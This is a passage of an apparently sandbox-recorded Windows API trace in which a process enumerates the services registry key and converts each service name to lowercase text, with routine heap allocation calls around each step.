lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0254.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.867] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.867] RegCloseKey (hKey=0x148) returned 0x0 [0254.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0254.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.867] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.868] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.868] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.868] RegCloseKey (hKey=0x150) returned 0x0 [0254.868] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.868] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a48, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a48, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0254.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0254.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.872] 